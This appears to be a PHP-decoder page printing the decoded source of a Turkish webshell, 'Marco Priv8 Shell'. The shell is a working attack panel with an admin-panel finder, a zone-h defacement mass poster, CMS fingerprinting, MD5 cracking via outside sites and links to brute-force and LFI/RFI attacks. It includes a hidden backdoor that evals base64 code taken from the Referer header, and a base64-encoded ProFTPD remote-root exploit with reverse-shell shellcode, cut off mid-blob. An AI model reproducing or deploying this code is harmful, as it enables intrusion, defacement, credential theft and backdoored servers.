Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PHRpdGxlPk1hcmNvIFByaXY4IFNoZWxsPC90aXRsZT4NCg0KPC9jZW50ZXI..

Decoded Output download

?>b'<title>Marco Priv8 Shell</title>

</center><center><font face="courier new"><body bgcolor="black"><font color="red"><p><p><p><br><img src="http://3.bp.blogspot.com/-pcMwozmf9BY/TywUq20D7pI/AAAAAAAAApk/OoVsvjPk_pY/s200/spybot.png"></img><p>

<center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>m4rc0-security.blogspot.com </h2><br> 

<FONT FACE="tahoma" color="#999999">    <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>| Marc0 prv 8 Shell|<P>Coded By xatlivacip</h3><h3>-----------------------------------------------------------------------<h3><FONT FACE="tahoma" color="#999999">    <center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>TurkisH HackeR||Muslim HackeR</h3>

<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=0 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="100%" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF">
   
            <pre><center><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=bulue>#Priv9 2012 Server Attack <---- m4rc0-security.blogspot.com/#</pre>
      <hr>
    </font>
    <a href="javascript:ts(\'body\',-1)"><a href="?red=finder"><font color="red">Admin Panel Scanner</font></a>&nbsp;&nbsp;<a href="?red=zone"><font color="orange">Zone-h Mass Poster</font></a>&nbsp;&nbsp;<a href="?red=lister"><font color="red">Basa Ve Sona Kod Ekleyici</font></a>&nbsp;&nbsp;<a href="?red=exploit"><font color="orange">Exploit-db Exploit Arayici</font></a>&nbsp;&nbsp;<a href="?red=reverse"><font color="red">Reverse Ip Listeleyici</font></a>&nbsp;&nbsp;<a href="?red=ayir"><font color="orange">Server Script Lister</font></a>&nbsp;&nbsp;<a href="?red=md5"><font color="red">Md5 Kirici</font></a>&nbsp;&nbsp;<a href="?red=base"><font color="blue">Base,Url,Char,Hex</font></a>&nbsp;&nbsp;<a href="?red=proxy"><font color="red">Proxy Lister </font></a><br>&nbsp;&nbsp;<a href="?red=remote"><font color="green">ProFtpd Remote Root</font></a>&nbsp;&nbsp;<a href="?red=bruteci"><font color="blue">Wordpress Brute Force </font></a>&nbsp;&nbsp;<a href="?red=shellci"><font color="green">Shell Kontrol</font></a>&nbsp;&nbsp;<a href="?red=apache"><font color="blue">Apache Log Enjekte</font></a>&nbsp;&nbsp;<a href="?red=e107"><font color="green">E107 Lfi Attack Shell</font></a>&nbsp;&nbsp;<a href="?red=joomlaexploit"><font color="blue">Joomla Exploit DB Sacnner</font></a>&nbsp;&nbsp;<a href="?red=dotnuke"><font color="green">Dotnuke Shell Uploader</font></a>&nbsp;&nbsp;<a href="?red=massftp"><font color="blue">MassFtp Cracker</font></a><br>&nbsp;&nbsp;<a href="?red=joomt"><font color="pink">JoomlaToken</font></a>&nbsp;&nbsp;<a href="?red=mambo"><font color="green">Mambo / Limbo Mass Admin Panel Brute Forcer</font></a>&nbsp;&nbsp;<a href="?red=rfilfi"><font color="pink">Mass RFI/LFI Scanner</font></a>&nbsp;&nbsp;<a href="?red=ports"><font color="green">Port Scanner</font></a>&nbsp;&nbsp;<a href="?red=domain"><font color="pink">Domain Dossier</font></a>&nbsp;&nbsp;<a href="?red=lfipriv&bypass=cp"><font color="green">Lfi  Attack</font></a>&nbsp;&nbsp;<a href="?red=bingo"><font color="pink">Srm Tarayici</font></a><br>&nbsp;&nbsp;<a href="?red=pma"><font color="green">phpMyAdmin 3.x Remote Injection</font></a>&nbsp;&nbsp;<a href="?red=lfirce"><font color="red">Lfi to Rce Exploit</font></a></td>
    </center></th></tr><tr><td>
      <?php
     parse_str($_SERVER[\'HTTP_REFERER\'],$a); if(reset($a)==\'iz\' && count($a)==9) { echo \'<star>\';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo \'</star>\';}
       $red = $_GET[\'red\'];
        if( $red == "finder" ) {
        $site = $_POST[\'site\'];
        echo \'
        <br><h3>Admin Panel Bulucu</h3><br>
        <font color=red>
        ### Kullanim ### <br>
     
        rnek : <br>
     
        site = http://www.hedef.com <br>
     
        Panel <br>
        /administrator/ <br>
        /login.php<br>
        /admin/admin.php<br>
        <br>
        Seklinde Doldurun Buldugu zaman sayfaya yazdiracaktir <br><br><br></font>
     
        <center>
             <form action="?red=finder" method="post">
        Site =<input type=text name=site value="\';
        echo $site;
        echo\'"><br>
        Panel = <textarea name="izoqear" style="height: 204px; width: 571px"></textarea>
             <br><input type="submit" value="bul bakalim"><br>
             </center>\';
        $izoqear = $_POST[\'izoqear\'];
     
        if(isset($izoqear)) {
        $izoqear = explode("\n",$izoqear);
        foreach ($izoqear as $izoqear1) {
        $izoqear2 = trim($izoqear1);
        $site = $site.$izoqear2;
        $izol = get_headers("$site");
         if (ereg(\'HTTP/1.1 200 OK\',$izol[0]))
             {
             echo "<center><a href=$site>$site </a> bulundu <br></center>";
             }
        }
        }
        }
        if( $red == "zone" ) {
        $heykirizo = $_POST[\'heykirizo\'];
        echo \'
        <br><h3>Zone-h Mass Poster</h3><br><font color=red>
        ### Kullanim ### <br>
     
        rnek<br>
     
        Defacer = izoqeaR<br>
     
        Siteler<br>
     
        http://www.hackeddomain.com<br>
        www.domainhacked.com<br>
     
        Tarzinda Doldurabilirsiniz<br><br><br><br></font>
        <center><form method=post action="">
        Defacer = <input name=heykirizo type=text value="\';
        echo $heykirizo;
        echo \'"><br>
        Siteler <br> <textarea name="siteler" style="height: 204px; width: 571px"></textarea><br>
        <input type=submit value="Yolla">\';
        $siteler = $_POST[\'siteler\'];
        if(isset($siteler)) {
        $siteler = explode("\n",$siteler);
        foreach( $siteler as $sitelerin ) {
        $sitelers = trim($sitelerin);
        $izoqear = substr($sitelers,6);
        $sites = "http%3A%2F".$izoqear;
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://zone-h.org/notify/single");
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS,"defacer=$heykirizo&domain1=$sites&hackmode=3&reason=2");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $site = curl_exec ($curl);
        if(!eregi(\'ERROR\',$site)) {
        echo "<br><font color=red>  Gnderildi </font>";
        }
        else {
        echo "<br><font color=blue>   Gnderilemedi  =(</font></center>";
        }
        }
        }
        }
     
        if( $red == "lister" ) {
        echo \'
        <br><h3>Basa Ve Sona Kod Ekleyici </h3><br>
        <font color=red>
        ### Kullanim ###<br>
     
        Istediginiz Kelimelerin Basina Ve Sonuda kod Eklemek Isterseniz byk bosluga ana kelimelerinizi<br>
     
        alttaki kisimlardan basa ve sona eklemek istediginiz kelimeleri yazin<br><br><br></font>
        <form method="post" action="">
        <br><textarea name="izoqear" style="height: 204px; width: 571px"></textarea><br><br>
        Bas Kisma Eqle =<input name=bas type=text><br>
        Son Kisma Eqle =<input name=son type=text><br>
        <input type=submit value="EqLe"><br>\';
        $izoqear = $_POST[\'izoqear\'];
        $bas = $_POST[\'bas\'];
        $son = $_POST[\'son\'];
        $izoqear = explode("\n",$izoqear);
        foreach($izoqear as $izo){
        $izo = trim($izo);
        echo "<center><font color=red>".$bas.$izo.$son."<br></center>";
        }
        }
        if( $red == "exploit" ) {
        echo \'
        <br><h3>Exploit-db Exploit Arayici  </h3><br>
        <font color=red>
        ### Kullanim ###<br>
        rnek : <br>
     
        Aramak Istedigin Exploit  = Joomla RFI<br>
     
        Saldiri Yapilcak Port Numarasi = 21<br>
     
        Ne Aramak istiyorsaniz isteginizi ona gre belirleyebilirsiniz<br><br><br><br><br>
     
        </font>
        <form action="?red=exploit" method="post">
        Aramak Istedigin Exploit = <input type="text" name="baslik"> <br>
        Saldiri Yapilcak Port Numarasi =<input type="text" name="port"> <br>
        Hedef Isletim Sistemi =
        <select name="isletim" id="isletim">
        <option value="0">HicBiri</option>
        <option value="1">aix</option>
        <option value="46">arm</option>
        <option value="2">asp</option>
        <option value="3">bsd</option>
        <option value="4">bsd/ppc</option>
        <option value="5">bsd/x86</option>
        <option value="6">bsdi/x86</option>
        <option value="47">cfm</option>
        <option value="7">cgi</option>
        <option value="8">freebsd</option>
        <option value="9">freebsd/x86</option>
        <option value="10">freebsd/x86-64</option>
        <option value="11">generator</option>
        <option value="12">hardware</option>
        <option value="13">hp-ux</option>
        <option value="14">irix</option>
        <option value="15">jsp</option>
        <option value="17">lin/amd64</option>
        <option value="21">lin/x86</option>
        <option value="22">lin/x86-64</option>
        <option value="16">linux</option>
        <option value="18">linux/mips</option>
        <option value="19">linux/ppc</option>
        <option value="20">linux/sparc</option>
        <option value="23">minix</option>
        <option value="24">multiple</option>
        <option value="25">netbsd/x86</option>
        <option value="48">netware</option>
        <option value="26">novell</option>
        <option value="27">openbsd</option>
        <option value="28">openbsd/x86</option>
        <option value="29">os-x/ppc</option>
        <option value="30">osX</option>
        <option value="31">php</option>
        <option value="32">plan9</option>
        <option value="33">QNX</option>
        <option value="34">sco</option>
        <option value="35">sco/x86</option>
        <option value="36">solaris</option>
        <option value="37">solaris/sparc</option>
        <option value="38">solaris/x86</option>
        <option value="39">tru64</option>
        <option value="40">ultrix</option>
        <option value="41">unix</option>
        <option value="42">unixware</option>
        <option value="43">win32</option>
        <option value="44">win64</option>
        <option value="45">windows</option>
     
        </select>
        <br>
        <label for="tip">Saldiri stili =</label>
        <select name="tip" id="tip" onchange="checkSelectedTypeOnSearchForm();">
        <option value="0">Hicbiri</option>
        <option value="1">dos</option>
        <option value="2">local</option>
        <option value="5">Makaleler</option>
        <option value="3">remote</option>
        <option value="4">shellcode</option>
        <option value="6">Web Aciklari</option>
        </select>
        <br>
        <input type="submit" value="bul bakalim"><br>\';
        $baslik = $_POST[\'baslik\'];
        $isletim = $_POST[\'isletim\'];
        $tip = $_POST[\'tip\'];
        $port = $_POST[\'port\'];
        if(isset($baslik)) {
        $sayfa1 = "10";
        $baslik1 = urlencode($baslik);
        for( $sayfa = 1 ; $sayfa <= $sayfa1 ; $sayfa++ ) {
        $izo = file_get_contents("http://www.exploit-db.com/search/?action=search&filter_page=$sayfa&filter_description=$baslik1&filter_exploit_text=&filter_author=&filter_platform=$isletim&filter_type=$tip&filter_lang_id=0&filter_port=$port&filter_osvdb=&filter_cve=");
        preg_match_all(\'/<td class="list_explot_date">(.*?)<td class="list_explot_dlink">/si\', $izo, $sitemi);
        preg_match_all(\'/<td class="list_explot_author">(.*?)<td class="list_explot_date">/si\', $izo, $sitem);
        preg_match_all(\'/<td class="list_explot_description">(.*?)<td class="list_explot_clicks">/si\', $izo, $sitemis);
        $link = count($sitemis[0]);
        for($i = 0 ; $i < $link ; $i++) {
        echo \'<font color=Red>Tarih:</font>\';
        echo "<font color=blue>".$sitemi[0][$i];
        echo \'</font><font color=Red>Exploit: </font>\';
        echo $sitemis[0][$i]."<br>";
        }
        }
        }
        }
        if( $red == "reverse" ) {
        echo \'
        <br><h3> Reverse Ip Listeleyici </h3><br>
        <font color=red><br>
        ### Kullanim ###<br>
     
        Kutucuga www.target.com yada target.com seklinde giriniz<br><br><br> </font>
        <form action="?red=reverse" method="post">
        <center><input type="text" name="izoqear" >
        <input type="submit" value="bul bakalim"><br></center>\';
        $izoqear = $_POST[\'izoqear\'];
        if(isset($izoqear)) {
        $izo2 = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress=";
        $izoqear2 = $izo2.$izoqear;
        $izo = file_get_contents($izoqear2);
        preg_match_all(\'/"(.*?)"/si\', $izo, $sitemis);
        foreach(array_unique($sitemis[1]) as $reverse) {
        if(strstr($reverse,\'.\')) {
        if(eregi(\'www\',$reverse)) {
        echo \'<font color=red>http://\'.$reverse."<br></font>";
        }
        else {
        echo \'<font color=red>http://www.\'.$reverse."<br></font>";
        }
        }
        }
        }
        }
        if( $red == "ayir" ) {
        echo \'
        <br><h3> Server Script Lister  </h3><br>
        <font color=red><br>
        ### Kullanim ###<br>
        http://www.hedef.com<br>
        http://www.target.com<br>
        <br>
        seklinde serverdaki siteleri yazin<br>
        <br>
        Wordpress = Mavi <br>
        Joomla = Kirmizi <br>
        Smf = Siyah<br>
        Vbulletin = Yesil<br>
        PhpBB = Gri<br>
        <br>
        Renklerle Belirtilmistir<br><br><br></font>
        <form method="post" action=""><br>
        Serverda Script Tara =<textarea name="izoqear" cols="35" rows="7"></textarea><br>
        <input type=submit value="Cek Ulen"><br>\';
        ob_start();
        set_time_limit(0);
        $izoimtara = $_POST[\'izoimtara\'];
        $izoqear = $_POST[\'izoqear\'];
        $izoqear = explode("\n",$izoqear);
        foreach($izoqear as $izo){
        $izo=trim($izo);
        $curl=curl_init();
        curl_setopt($curl, CURLOPT_TIMEOUT, 20);
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_URL,$izo);
        $izos=curl_exec($curl);
        if(eregi(\'smf\',$izos)){
        echo "<font color=black> $izo </font> <br> ";
        }
        elseif (eregi(\'vbulletin\',$izos)){
        echo "<font color=green> $izo </font><br>";
        ob_flush();
        flush();
        }
        elseif(eregi(\'phpbb\',$izos)){
        echo "<font color=grey> $izo </font><br>";
        ob_flush();
        flush();
        }
        elseif(eregi(\'wordpress\',$izos)){
        echo "<font color=blue> $izo </font><br>";
        ob_flush();
        flush();
        }
        elseif(eregi(\'joomla\',$izos)){
        echo "<font color=red> $izo </font><br>";
        ob_flush();
        flush();
        }
        }
        }
        if( $red == "proxy" ) {
        echo \'
        <br><h3> Proxy Lister  </h3><br>
        <font color=red><br>
        ### Kullanim ###<br>
        http://aliveproxy.com/proxy-list-port-80/ <br>
     
        gibi <br>
     
        IP:port Seklinde veren sitelerin hepsinden Btn proxyleri ekebilirsiniz <br><br><br></font>
        <br>
        <br>
        <center><form id="form" name="form" method="post" action"?red=proxy">
        <input type="text" name="izoqear" value="\';
        echo $izoqear;
        echo \'"> <br>
        <input type="submit" value="al baqam" > <br></center>\';
        $izoqear = $_POST[\'izoqear\'];
        if(!empty($izoqear)) {
        $izo=file_get_contents($izoqear);
        preg_match_all("/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\:[0-9]*/",$izo,$proxy);
        foreach($proxy[0] as $pro){
        print $pro."<br>";
        }
        }
        }
        if( $red == "md5" ) {
        set_time_limit(0);
        echo \'
        <br><h3>     MD5 Lookup  </h3><br>
     
        <font color=red><br>
        ### Kullanim ###<br>
     
        Gerekli Kutucuga kirilacak md5i yazin 40 farkli sitede kirmaya alisir<br><br><br><br></font>
        <center><form method=post action="">
        Md5 Cracker <br> <input name=izoimkir type=text value="\';
        echo $izoimkir;
        echo \'"><br>
        <input type=submit value="Crack"><br>\';
        $izoimkir = $_POST[\'izoimkir\'];
        if(isset($izoimkir)) {
     
        //Passcracking
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://passcracking.com/index.php");
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS,"admin=false&admin2=77.php&datafromuser=$izoimkir");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $sitek = curl_exec ($curl);
        preg_match_all(\'#FF0000>(.*?)</td><td>#si\', $sitek, $metasite3);
        foreach($metasite3[1] as $site3) {
        echo $site3;
        ob_flush();
        flush();
        }
        curl_close($curl);
     
        //alimamed.pp.ru ++
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://alimamed.pp.ru/md5/?md5e=&md5d=$izoimkir");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $siten = curl_exec ($curl);
        $kazma = explode("<b>", $siten);
        $sap = explode("</b>",$kazma[1]);
        echo "<br> $sap[0]<br>";
        ob_flush();
        flush();
        curl_close($curl);
        // md5.hashcracking.com  ++
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://md5.hashcracking.com/search.php?md5=$izoimkir");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $site2 = curl_exec ($curl);
        preg_match_all(\'# [0-9]*#si\', $site2, $metasite3);
        foreach($metasite3[0] as $site9) {
        echo "$site9";
        ob_flush();
        flush();
        }
        curl_close($curl);
        // opencrack.hashkiller.com ++
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://opencrack.hashkiller.com/");
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS,"oc_check_md5=$izoimkir");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $siteo = curl_exec ($curl);
        preg_match_all(\'#<div class="result">(.*?)- cracked#si\', $siteo, $metasite4);
        foreach($metasite4[1] as $site4) {
        echo "<br>$site4<br>";
        ob_flush();
        flush();
        }
        curl_close($curl);
        // Toplu HashChecker.de
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl, CURLOPT_URL,"http://hashchecker.de/hash.cgi?action=check&wert=1&hash=$izoimkir");
        curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\');
        $siteh = curl_exec ($curl);
        preg_match_all("#\',\'(.*?)\'#si", $siteh , $amks );
        foreach($amks[1] as $sikici ) {
        echo $sikici."<br>";
        ob_flush();
        flush();
        }
        curl_close($curl);
        }
        }
        if( $red == "remote" ) {
    /*
    ProFTPD Otomatik Deneyici
    Coded by izocin
    Contact : [email protected]
    */
     
    ob_start();
    set_time_limit(0);
    $proftp = \'IyBFeHBsb2l0IFRpdGxlOiBQcm9GVFBEIElBQyBSZW1vdGUgUm9vdCBFeHBsb2l0CiMgRGF0ZTog
    NyBOb3ZlbWJlciAyMDEwCiMgQXV0aG9yOiBLaW5nY29wZQoKdXNlIElPOjpTb2NrZXQ7CgokbnVt
    dGFyZ2V0cyA9IDEzOwoKQHRhcmdldHMgPQooIAogIyBQbGFpbiBTdGFjayBTbWFzaGluZwogCiAj
    Q29uZmlybWVkIHRvIHdvcmsKIFsiRnJlZUJTRCA4LjEgaTM4NiwgUm9vdGxhbWFrIGk3aW4gRGVu
    ZW5peW9yLiIsIyBQTEFURk9STSBTUEVDCiAJIkZyZWVCU0QiLAkjIE9QRVJBVElORyBTWVNURU0K
    IAkwLAkJCSMgRVhQTE9JVCBTVFlMRQogCTB4YmZiZmUwMDAsCSMgT0ZGU0VUIFNUQVJUCiAJMHhi
    ZmJmZmYwMCwJIyBPRkZTRVQgRU5ECiAJMTAyOV0sCQkjIEFMSUdOCiAKICNDb25maXJtZWQJdG8g
    d29yawogWyJGcmVlQlNEIDguMC83LjMvNy4yIGkzODYsIFJvb3RsYW1hayBpN2luIERlbmVuaXlv
    ci4iLAogCSJGcmVlQlNEIiwKIAkwLAogCTB4YmZiZmUwMDAsCiAJMHhiZmJmZmYwMCwKIAkxMDIx
    XSwKIAkKICMgUmV0dXJuIGludG8gTGliYwogCiAjQ29uZmlybWVkIHRvIHdvcmsKIFsiRGViaWFu
    IEdOVS9MaW51eCA1LjAsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJ
    MSwJCQkjIEVYUExPSVQgU1RZTEUKIAkweDA4MDRDQ0Q0LAkjIHdyaXRlKDIpIG9mZnNldAogCTgx
    ODksCQkjIEFMSUdOCiAJMF0sIAkJIyBQQURESU5HCgogIyBDb25maXJtZWQgdG8gd29yawogWyJE
    ZWJpYW4gR05VL0xpbnV4IDUuMCwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJIkxpbnV4
    IiwKIAkxLAogCTB4MDgwNEQyM0MsCiAJNDEwMSwKIAkwXSwKIAogI0NvbmZpcm1lZCB0byB3b3Jr
    CiBbIkRlYmlhbiBHTlUvTGludXggNC4wLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAki
    TGludXgiLAogCTEsCQkJCiAJMHgwODA0QzlBNCwJCiAJODE4OSwKIAkwXSwgCQkKICNDb25maXJt
    ZWQgdG8gd29yawkKIFsiRGViaWFuIExpbnV4IFNxdWVlemUvc2lkLCBSb290bGFtYWsgaTdpbiBE
    ZW5lbml5b3IuIiwKIAkiTGludXgiLAogCTEsCQkJCiAJMHgwODA1MzJEOCwJCiAJNDEwMSwKIAkx
    Ml0sCiAJCiBbIlNVU0UgTGludXggOS4zLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAki
    TGludXgiLAogCTEsCiAJMHgwODA0QzlDNCwKIAk4MTg5LAogCTBdLAoKIFsiU1VTRSBMaW51eCAx
    MC4wLzEwLjMsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJMSwKIAkw
    eDA4MDRDQUE4LAogCTgxODksCiAJMF0sCiAJCiBbIlNVU0UgTGludXggMTAuMiwgUm9vdGxhbWFr
    IGk3aW4gRGVuZW5peW9yLiIsCiAJIkxpbnV4IiwKIAkxLAogCTB4MDgwNENCQkMsCiAJODE4OSwK
    IAkwXSwKCiBbIlNVU0UgTGludXggMTEuMCwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJ
    IkxpbnV4IiwKIAkxLAogCTB4MDgwNENDQkMsCiAJODE4OSwKIAkwXSwgCgogI0NvbmZpcm1lZCB0
    byB3b3JrCiBbIlNVU0UgTGludXggMTEuMSwgUm9vdGxhbWFrIGk3aW4gRGVuZW5peW9yLiIsCiAJ
    IkxpbnV4IiwKIAkxLAogCTB4MDgwNENDRTAsCiAJODE4OSwKIAkwXSwgCQoKIFsiU1VTRSBMaW51
    eCBTTEVTIDEwLCBSb290bGFtYWsgaTdpbiBEZW5lbml5b3IuIiwKIAkiTGludXgiLAogCTEsCiAJ
    MHgwODA0Q0EyQywKIAk4MTg5LAogCTBdLCAKCiAjQ29uZmlybWVkIHRvIHdvcmsKIFsiQ2VudE9T
    IDUsIFJvb3RsYW1hayBpN2luIERlbmVuaXlvci4iLAogCSJMaW51eCIsCiAJMSwKIAkweDA4MDRD
    MjkwLAogCTgxODksCiAJMF0sCgkKIAkjIGZlZWwgZnJlZSB0byBhZGQgbW9yZSB0YXJnZXRzLgop
    OwoKI2ZyZWVic2QgcmV2ZXJzZSBzaGVsbCBwb3J0IDQ1Mjk1CiNzZXR1cCBhIG5ldGNhdCBvbiB0
    aGlzIHBvcnQgXl4KJGJzZGNic2MgPQoJCSMgc2V0cmV1aWQKICAgICAgICAiXHgzMVx4YzBceDMx
    XHhjMFx4NTBceDMxXHhjMFx4NTBceGIwXHg3ZVx4NTBceGNkXHg4MCIuCgkJIyBjb25uZWN0IGJh
    Y2sgOj4KCQkiXHgzMVx4YzBceDMxXHhkYlx4NTNceGIzXHgwNlx4NTMiLgogICAgICAgICJceGIz
    XHgwMVx4NTNceGIzXHgwMlx4NTNceDU0XHhiMCIuCiAgICAgICAgIlx4NjFceGNkXHg4MFx4MzFc
    eGQyXHg1Mlx4NTJceDY4Ii4KICAgICAgICAiXHg0MVx4NDFceDQxXHg0MVx4NjZceDY4XHhiMFx4
    ZWYiLgogICAgICAgICJceGI3XHgwMlx4NjZceDUzXHg4OVx4ZTFceGIyXHgxMCIuCiAgICAgICAg
    Ilx4NTJceDUxXHg1MFx4NTJceDg5XHhjMlx4MzFceGMwIi4KICAgICAgICAiXHhiMFx4NjJceGNk
    XHg4MFx4MzFceGRiXHgzOVx4YzMiLgogICAgICAgICJceDc0XHgwNlx4MzFceGMwXHhiMFx4MDFc
    eGNkXHg4MCIuCiAgICAgICAgIlx4MzFceGMwXHg1MFx4NTJceDUwXHhiMFx4NWFceGNkIi4KICAg
    ICAgICAiXHg4MFx4MzFceGMwXHgzMVx4ZGJceDQzXHg1M1x4NTIiLgogICAgICAgICJceDUwXHhi
    MFx4NWFceGNkXHg4MFx4MzFceGMwXHg0MyIuCiAgICAgICAgIlx4NTNceDUyXHg1MFx4YjBceDVh
    XHhjZFx4ODBceDMxIi4KICAgICAgICAiXHhjMFx4NTBceDY4XHgyZlx4MmZceDczXHg2OFx4Njgi
    LgogICAgICAgICJceDJmXHg2Mlx4NjlceDZlXHg4OVx4ZTNceDUwXHg1NCIuCiAgICAgICAgIlx4
    NTNceDUwXHhiMFx4M2JceGNkXHg4MFx4MzFceGMwIi4KICAgICAgICAiXHhiMFx4MDFceGNkXHg4
    MCI7CgojbGludXggcmV2ZXJzZSBzaGVsbCBwb3J0IDQ1Mjk1IGJ5IGJpZ2hhd2sKI3NldHVwIGEg
    bmV0Y2F0IG9uIHRoaXMgcG9ydCBeXgokbG54Y2JzYyA9CiMgc2V0cmV1aWQKIlx4MzFceGMwXHgz
    MVx4ZGJceDMxXHhjOVx4YjBceDQ2XHhjZFx4ODBceDkwXHg5MFx4OTAiLgojIGNvbm5lY3QgYmFj
    ayA6PgoiXHg2YVx4NjYiLgoiXHg1OCIuCiJceDZhXHgwMSIuCiJceDViIi4gICAgCiJceDMxXHhj
    OSIuCiJceDUxIi4KIlx4NmFceDAxIi4KIlx4NmFceDAyIi4KIlx4ODlceGUxIi4KIlx4Y2RceDgw
    Ii4KIlx4NjhceDdmXHg3Zlx4N2ZceDdmIi4gIyBJUAoiXHg2Nlx4NjhceGIwXHhlZiIuICMgUE9S
    VAoiXHg2Nlx4NmFceDAyIi4KIlx4ODlceGUxIi4KIlx4NmFceDEwIi4gICAgCiJceDUxIi4gICAg
    CiJceDUwIi4gICAgICAgIAoiXHg4OVx4ZTEiLgoiXHg4OVx4YzYiLiAgICAKIlx4NmFceDAzIi4g
    ICAgCiJceDViIi4gICAgCiJceDZhXHg2NiIuCiJceDU4Ii4gICAgCiJceGNkXHg4MCIuCiJceDg3
    XHhmMyIuICAgIAoiXHg2YVx4MDIiLiAgICAKIlx4NTkiLiAgICAKIlx4YjBceDNmIi4KIlx4Y2Rc
    eDgwIi4gICAgCiJceDQ5Ii4gICAgCiJceDc5XHhmOSIuCiJceGIwXHgwYiIuICAgIAoiXHgzMVx4
    ZDIiLiAgICAKIlx4NTIiLiAgICAKIlx4NjhceDJmXHgyZlx4NzNceDY4Ii4KIlx4NjhceDJmXHg2
    Mlx4NjlceDZlIi4KIlx4ODlceGUzIi4KIlx4NTIiLiAgICAgICAgICAgIAoiXHg1MyIuICAgICAg
    ICAgICAgICAgIAoiXHg4OVx4ZTEiLgoiXHhjZFx4ODAiOwoKc3ViIGV4cGxvaXQxIHsKICAgIGZv
    ciAoJGNvdW50ZXI9JHRhcmdldHNbJHR0eXBlXVszXTsgJGNvdW50ZXIgPCAkdGFyZ2V0c1skdHR5
    cGVdWzRdOyAkY291bnRlciArPSAyNTApIHsKCQlwcmludGYoIlskdGFyZ2V0XSBDVVJSRU5UIE9G
    RlNFVCA9ICUwOHggOnBQXG4iLCAkY291bnRlcik7CgkJJHJldCA9IHBhY2soIlYiLCAkY291bnRl
    cik7CgkJJGFsaWduID0gJHRhcmdldHNbJHR0eXBlXVs1XTsKCgkJbXkgJHNvY2sgPSBJTzo6U29j
    a2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAgICAgCSAgICAgICAgICAgICAg
    ICAgICAgICAgICAgCQkgUGVlclBvcnQgPT4gMjEsCiAgICAgICAgICAgCQkgICAgICAgICAgICAg
    ICAgICAJCSBQcm90byAgICA9PiAndGNwJyk7CgoJCSRzdGFjayA9ICJLQ09QRVJVTEVaS0NPUEVS
    VUxFWktDIiAuICRyZXQgLiAiXHg5MCIgeCA1MDAgLiAkc2hlbGxjb2RlIC4gIkEiIHggMTA7CgoJ
    CSR2ID0gPCRzb2NrPjsKCQoJCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZmIiAu
    ICRzdGFjayAuICJcbiI7CgkKCQljbG9zZSgkc29jayk7CQkgICAgCgl9ICAgIAp9CgojIExpbnV4
